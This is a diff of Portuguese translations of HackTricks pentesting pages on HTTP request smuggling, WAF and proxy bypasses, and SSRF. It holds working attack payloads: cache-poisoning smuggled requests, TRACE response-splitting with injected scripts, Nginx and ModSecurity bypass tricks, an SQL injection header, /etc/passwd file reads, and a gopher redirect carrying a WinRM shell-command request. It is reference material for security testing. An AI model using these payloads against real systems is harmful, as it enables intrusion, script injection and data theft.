 Essa técnica se torna particularmente potente se uma **vulnerabilidade de Redirecionamento Aberto** for descoberta ou se houver um **redirecionamento no local para um redirecionamento aberto**. Tais vulnerabilidades podem ser exploradas para substituir o conteúdo em cache de `/static/include.js` por um script sob o controle do atacante, essencialmente permitindo um ataque generalizado de Cross-Site Scripting (XSS) contra todos os clientes que solicitam o `/static/include.js` atualizado.
 
-Abaixo está uma ilustração da exploração do **envenenamento de cache combinado com um redirecionamento no local para um redirecionamento aberto**. O objetivo é alterar o conteúdo em cache de `/static/include.js` para servir código JavaScript controlado pelo atacante:
+Abaixo está uma ilustração da exploração da **poluição de cache combinada com um redirecionamento no local para um redirecionamento aberto**. O objetivo é alterar o conteúdo em cache de `/static/include.js` para servir código JavaScript controlado pelo atacante:
 ```
 POST / HTTP/1.1
 Host: vulnerable.net
@@ -460,9 +456,9 @@ Content-Length: 10
 
 x=1
 ```
-Observe a solicitação incorporada direcionada a `/post/next?postId=3`. Esta solicitação será redirecionada para `/post?postId=4`, utilizando o **valor do cabeçalho Host** para determinar o domínio. Ao alterar o **cabeçalho Host**, o atacante pode redirecionar a solicitação para seu domínio (**redirecionamento no local para redirecionamento aberto**).
+Observe a solicitação incorporada direcionada para `/post/next?postId=3`. Esta solicitação será redirecionada para `/post?postId=4`, utilizando o **valor do cabeçalho Host** para determinar o domínio. Ao alterar o **cabeçalho Host**, o atacante pode redirecionar a solicitação para seu domínio (**redirecionamento interno para redirecionamento aberto**).
 
-Após o **envenenamento de soquete** bem-sucedido, uma solicitação **GET** para `/static/include.js` deve ser iniciada. Esta solicitação será contaminada pela solicitação anterior de **redirecionamento no local para redirecionamento aberto** e buscará o conteúdo do script controlado pelo atacante.
+Após o **envenenamento de soquete** bem-sucedido, uma solicitação **GET** para `/static/include.js` deve ser iniciada. Esta solicitação será contaminada pela solicitação anterior de **redirecionamento interno para redirecionamento aberto** e buscará o conteúdo do script controlado pelo atacante.
 
 Posteriormente, qualquer solicitação para `/static/include.js` servirá o conteúdo em cache do script do atacante, lançando efetivamente um amplo ataque XSS.
 
@@ -470,7 +466,7 @@ Posteriormente, qualquer solicitação para `/static/include.js` servirá o cont
 
 > **Qual é a diferença entre envenenamento de cache da web e decepção de cache da web?**
 >
-> * No **envenenamento de cache da web**, o atacante faz com que a aplicação armazene algum conteúdo malicioso no cache, e esse conteúdo é servido a outros usuários da aplicação a partir do cache.
+> * No **envenenamento de cache da web**, o atacante faz com que a aplicação armazene algum conteúdo malicioso no cache, e esse conteúdo é servido do cache para outros usuários da aplicação.
 > * Na **decepção de cache da web**, o atacante faz com que a aplicação armazene algum conteúdo sensível pertencente a outro usuário no cache, e o atacante então recupera esse conteúdo do cache.
 
 O atacante elabora uma solicitação contrabandeada que busca conteúdo sensível específico do usuário. Considere o exemplo a seguir:
@@ -486,14 +482,97 @@ O atacante elabora uma solicitação contrabandeada que busca conteúdo sensíve
 ```
 Se essa solicitação contrabandeada envenenar uma entrada de cache destinada a conteúdo estático (por exemplo, `/someimage.png`), os dados sensíveis da vítima de `/private/messages` podem ser armazenados em cache sob a entrada de cache do conteúdo estático. Consequentemente, o atacante poderia potencialmente recuperar esses dados sensíveis armazenados em cache.
 
-### Armando o Contrabando de Solicitação HTTP com a Desincronização de Resposta HTTP
+### Abusando do TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
 
-Você encontrou alguma vulnerabilidade de Contrabando de Solicitação HTTP e não sabe como explorá-la. Experimente este outro método de exploração:
+[**Neste post**](https://portswigger.net/research/trace-desync-attack) é sugerido que se o servidor tiver o método TRACE habilitado, poderia ser possível abusar dele com um HTTP Request Smuggling. Isso ocorre porque esse método refletirá qualquer cabeçalho enviado para o servidor como parte do corpo da resposta. Por exemplo:
+```
+TRACE / HTTP/1.1
+Host: example.com
+XSS: <script>alert("TRACE")</script>
+```
+Irá enviar uma resposta como:
+```
+HTTP/1.1 200 OK
+Content-Type: message/http
+Content-Length: 115
+
+TRACE / HTTP/1.1
+Host: vulnerable.com
+XSS: <script>alert("TRACE")</script>
+X-Forwarded-For: xxx.xxx.xxx.xxx
+```
+Um exemplo de como abusar desse comportamento seria **contrabandear primeiro uma solicitação HEAD**. Esta solicitação será respondida apenas com os **cabeçalhos** de uma solicitação GET (**`Content-Type`** entre eles). E contrabandear **imediatamente após o HEAD uma solicitação TRACE**, que estará **refletindo os dados enviados**.\
+Como a resposta HEAD conterá um cabeçalho `Content-Length`, a **resposta da solicitação TRACE será tratada como o corpo da resposta HEAD, refletindo assim dados arbitrários** na resposta. \
+Essa resposta será enviada para a próxima solicitação pela conexão, então isso poderia ser **usado em um arquivo JS em cache, por exemplo, para injetar código JS arbitrário**.
+
+### Abusando do TRACE via Separação de Resposta HTTP <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
+
+Continuar seguindo [**este post**](https://portswigger.net/research/trace-desync-attack) é sugerido como outra maneira de abusar do método TRACE. Como comentado, contrabandear uma solicitação HEAD e uma solicitação TRACE é possível **controlar alguns dados refletidos** na resposta à solicitação HEAD. O comprimento do corpo da solicitação HEAD é basicamente indicado no cabeçalho Content-Length e é formado pela resposta à solicitação TRACE.
+
+Portanto, a nova ideia seria que, conhecendo este Content-Length e os dados fornecidos na resposta TRACE, é possível fazer com que a resposta TRACE contenha uma resposta HTTP válida após o último byte do Content-Length, permitindo que um atacante controle completamente a solicitação para a próxima resposta (que poderia ser usada para realizar um envenenamento de cache).
+
+Exemplo:
+```
+GET / HTTP/1.1
+Host: example.com
+Content-Length: 360
+
+HEAD /smuggled HTTP/1.1
+Host: example.com
+
+POST /reflect HTTP/1.1
+Host: example.com
+
+SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
+Content-Type: text/html\r\n
+Cache-Control: max-age=1000000\r\n
+Content-Length: 44\r\n
+\r\n
+<script>alert("response splitting")</script>
+```
+Gerará essas respostas (observe como a resposta HEAD tem um Content-Length fazendo com que a resposta TRACE faça parte do corpo do HEAD e, uma vez que o Content-Length do HEAD termina, uma resposta HTTP válida é contrabandeada):
+```
+HTTP/1.1 200 OK
+Content-Type: text/html
+Content-Length: 0
+
+HTTP/1.1 200 OK
+Content-Type: text/html
+Content-Length: 165
+
+HTTP/1.1 200 OK
+Content-Type: text/plain
+Content-Length: 243
+
+SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
+Content-Type: text/html
+Cache-Control: max-age=1000000
+Content-Length: 50
+
+<script>alert(“arbitrary response”)</script>
+```
+### Armar HTTP Request Smuggling com Desincronização de Resposta HTTP
+
+Você encontrou alguma vulnerabilidade de HTTP Request Smuggling e não sabe como explorá-la. Experimente este outro método de exploração:
 
 {% content-ref url="../http-response-smuggling-desync.md" %}
 [http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
 {% endcontent-ref %}
 
+### Outras Técnicas de HTTP Request Smuggling
+
+* HTTP Request Smuggling no Navegador (Lado do Cliente)
+
+{% content-ref url="browser-http-request-smuggling.md" %}
+[browser-http-request-smuggling.md](browser-http-request-smuggling.md)
+{% endcontent-ref %}
+
+* Request Smuggling em Downgrades HTTP/2
+
+{% content-ref url="request-smuggling-in-http-2-downgrades.md" %}
+[request-smuggling-in-http-2-downgrades.md](request-smuggling-in-http-2-downgrades.md)
+{% endcontent-ref %}
+
 ## Scripts do Turbo Intruder
 
 ### CL.TE
@@ -599,6 +678,7 @@ table.add(req)
 * [https://github.com/haroonawanofficial/HTTP-Desync-Attack/](https://github.com/haroonawanofficial/HTTP-Desync-Attack/)
 * [https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html](https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html)
 * [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
+* [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
 
 <details>
 
@@ -606,10 +686,10 @@ table.add(req)
 
 Outras formas de apoiar o HackTricks:
 
-* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
 * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
 * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

pentesting-web/proxy-waf-protections-bypass.md

@@ -1,31 +1,129 @@
-# Bypass de Proteções de Proxy / WAF
+# Bypassando Proteções de Proxy / WAF
 
 <details>
 
-<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+<summary><strong>Aprenda hacking na AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
 
 Outras formas de apoiar o HackTricks:
 
-* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
 * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
 * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
+* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-Verifique a seguinte página para ver como **burlar WAFs abusando das inconsistências nos analisadores HTTP: [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)**
+## Bypass de Regras ACL do Nginx com Manipulação de Nomes de Caminho <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
+
+Técnicas [desta pesquisa](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
+
+Exemplo de regra do Nginx:
+```plaintext
+location = /admin {
+deny all;
+}
+
+location = /admin/ {
+deny all;
+}
+```
+Para evitar bypasses, o Nginx realiza a normalização de caminho antes de verificá-lo. No entanto, se o servidor backend realizar uma normalização diferente (removendo caracteres que o nginx não remove), pode ser possível contornar essa defesa.
+
+### **NodeJS - Express**
+
+| Versão do Nginx | **Caracteres de Bypass do Node.js** |
+| --------------- | ----------------------------------- |
+| 1.22.0          | `\xA0`                              |
+| 1.21.6          | `\xA0`                              |
+| 1.20.2          | `\xA0`, `\x09`, `\x0C`              |
+| 1.18.0          | `\xA0`, `\x09`, `\x0C`              |
+| 1.16.1          | `\xA0`, `\x09`, `\x0C`              |
+
+### **Flask**
+
+| Versão do Nginx | **Caracteres de Bypass do Flask**                                    |
+| --------------- | --------------------------------------------------------------------- |
+| 1.22.0          | `\x85`, `\xA0`                                                      |
+| 1.21.6          | `\x85`, `\xA0`                                                      |
+| 1.20.2          | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B`      |
+| 1.18.0          | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B`      |
+| 1.16.1          | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B`      |
+
+### **Spring Boot**
+
+| Versão do Nginx | **Caracteres de Bypass do Spring Boot** |
+| --------------- | --------------------------------------- |
+| 1.22.0          | `;`                                     |
+| 1.21.6          | `;`                                     |
+| 1.20.2          | `\x09`, `;`                             |
+| 1.18.0          | `\x09`, `;`                             |
+| 1.16.1          | `\x09`, `;`                             |
+
+### **PHP-FPM**
+
+Configuração do Nginx FPM:
+```plaintext
+location = /admin.php {
+deny all;
+}
+
+location ~ \.php$ {
+include snippets/fastcgi-php.conf;
+fastcgi_pass unix:/run/php/php8.1-fpm.sock;
+}
+```
+Nginx está configurado para bloquear o acesso a `/admin.php`, mas é possível contornar isso acessando `/admin.php/index.php`.
+
+### Como prevenir
+```plaintext
+location ~* ^/admin {
+deny all;
+}
+```
+## Bypassar Regras do Mod Security <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
+
+### Confusão de Caminho
+
+[Neste post](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) é explicado que o ModSecurity v3 (até 3.0.12) **implementou incorretamente a variável `REQUEST_FILENAME`** que deveria conter o caminho acessado (até o início dos parâmetros). Isso ocorreu porque ele realizava um decode de URL para obter o caminho.\
+Portanto, uma solicitação como `http://example.com/foo%3f';alert(1);foo=` no mod security suporá que o caminho é apenas `/foo` porque `%3f` é transformado em `?` terminando o caminho da URL, mas na realidade o caminho que o servidor receberá será `/foo%3f';alert(1);foo=`.
+
+As variáveis `REQUEST_BASENAME` e `PATH_INFO` também foram afetadas por esse bug.
+
+Algo semelhante ocorreu na versão 2 do Mod Security que permitia contornar uma proteção que impedia o usuário de acessar arquivos com extensões específicas relacionadas a arquivos de backup (como `.bak`) simplesmente enviando o ponto codificado na URL em `%2e`, por exemplo: `https://example.com/backup%2ebak`.
+
+## Bypassar AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
+
+### Cabeçalho Malformado
+
+[Esta pesquisa](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) menciona que era possível contornar as regras do AWS WAF aplicadas nos cabeçalhos HTTP enviando um cabeçalho "malformado" que não era corretamente analisado pela AWS, mas sim pelo servidor backend.
+
+Por exemplo, enviando a seguinte solicitação com uma injeção de SQL no cabeçalho X-Query:
+```http
+GET / HTTP/1.1\r\n
+Host: target.com\r\n
+X-Query: Value\r\n
+\t' or '1'='1' -- \r\n
+Connection: close\r\n
+\r\n
+```
+Foi possível contornar o AWS WAF porque ele não entendia que a próxima linha fazia parte do valor do cabeçalho, enquanto o servidor NODEJS entendia (isso foi corrigido).
+
+## Referências
+
+* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
+* [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass)
 
 <details>
 
-<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
 
 Outras formas de apoiar o HackTricks:
 
-* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Adquira o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
+* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

pentesting-web/ssrf-server-side-request-forgery/README.md

@@ -10,7 +10,7 @@ Acesse hoje:
 
 <details>
 
-<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
 
 Outras formas de apoiar o HackTricks:
 
@@ -50,7 +50,7 @@ Normalmente, você descobrirá que o SSRF está funcionando apenas em **certos d
 
 ### Bypass via redirecionamento aberto
 
-Se o servidor estiver corretamente protegido, você poderá **burlar todas as restrições explorando um Redirecionamento Aberto dentro da página da web**. Como a página da web permitirá **SSRF para o mesmo domínio** e provavelmente seguirá os redirecionamentos, você pode explorar o **Redirecionamento Aberto para fazer o servidor acessar qualquer recurso interno**.\
+Se o servidor estiver corretamente protegido, você poderá **burlar todas as restrições explorando um Redirecionamento Aberto dentro da página da web**. Como a página da web permitirá **SSRF para o mesmo domínio** e provavelmente seguirá redirecionamentos, você pode explorar o **Redirecionamento Aberto para fazer o servidor acessar qualquer recurso interno**.\
 Leia mais aqui: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
 
 ## Protocolos
@@ -58,7 +58,7 @@ Leia mais aqui: [https://portswigger.net/web-security/ssrf](https://portswigger.
 * **file://**
 * O esquema de URL `file://` é referenciado, apontando diretamente para `/etc/passwd`: `file:///etc/passwd`
 * **dict://**
-* O esquema de URL DICT é descrito como sendo utilizado para acessar definições ou listas de palavras via o protocolo DICT. Um exemplo ilustra uma URL construída direcionando uma palavra específica, banco de dados e número de entrada, bem como uma instância de um script PHP potencialmente sendo mal utilizado para se conectar a um servidor DICT usando credenciais fornecidas pelo atacante: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
+* O esquema de URL DICT é descrito como sendo utilizado para acessar definições ou listas de palavras via o protocolo DICT. Um exemplo ilustra um URL construído direcionando uma palavra específica, banco de dados e número de entrada, bem como uma instância de um script PHP potencialmente sendo mal utilizado para se conectar a um servidor DICT usando credenciais fornecidas pelo atacante: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
 * **SFTP://**
 * Identificado como um protocolo para transferência segura de arquivos sobre shell seguro, um exemplo é fornecido mostrando como um script PHP poderia ser explorado para se conectar a um servidor SFTP malicioso: `url=sftp://generic.com:11111/`
 * **TFTP://**
@@ -108,7 +108,7 @@ QUIT
 gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
 gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
 ```
-**Gopher SMTP - Conexão de retorno para 1337**
+**Gopher SMTP — Conexão de retorno para 1337**
 
 {% code title="redirect.php" %}
 ```php
@@ -145,7 +145,7 @@ ssl_preread on;
 }
 }
 ```
-Nesta configuração, o valor do campo Server Name Indication (SNI) é diretamente utilizado como endereço do backend. Esta configuração expõe uma vulnerabilidade a Server-Side Request Forgery (SSRF), que pode ser explorada simplesmente especificando o endereço IP desejado ou nome de domínio no campo SNI. Um exemplo de exploração para forçar uma conexão a um backend arbitrário, como `internal.host.com`, usando o comando `openssl`, é fornecido abaixo:
+Nesta configuração, o valor do campo Server Name Indication (SNI) é diretamente utilizado como endereço do backend. Esta configuração expõe uma vulnerabilidade ao SSRF (Server-Side Request Forgery), que pode ser explorada simplesmente especificando o endereço IP desejado ou nome de domínio no campo SNI. Um exemplo de exploração para forçar uma conexão a um backend arbitrário, como `internal.host.com`, usando o comando `openssl`, é fornecido abaixo:
 ```bash
 openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
 ```
@@ -163,13 +163,13 @@ Se a página da web estiver criando automaticamente um PDF com algumas informaç
 
 Crie várias sessões e tente baixar arquivos pesados explorando o SSRF das sessões.
 
-## Funções PHP de SSRF
+## Funções PHP SSRF
 
 {% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %}
 [php-ssrf.md](../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md)
 {% endcontent-ref %}
 
-## SSRF Redirecionar para Gopher
+## Redirecionamento SSRF para Gopher
 
 Para algumas explorações, você pode precisar **enviar uma resposta de redirecionamento** (potencialmente para usar um protocolo diferente como gopher). Aqui você tem diferentes códigos python para responder com um redirecionamento:
 ```python
@@ -181,7 +181,7 @@ class MainHandler(BaseHTTPRequestHandler):
 def do_GET(self):
 print("GET")
 self.send_response(301)
-```html
+```markdown
 self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20
 ```plaintext
 self.end_headers()
@@ -206,14 +206,86 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
 <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
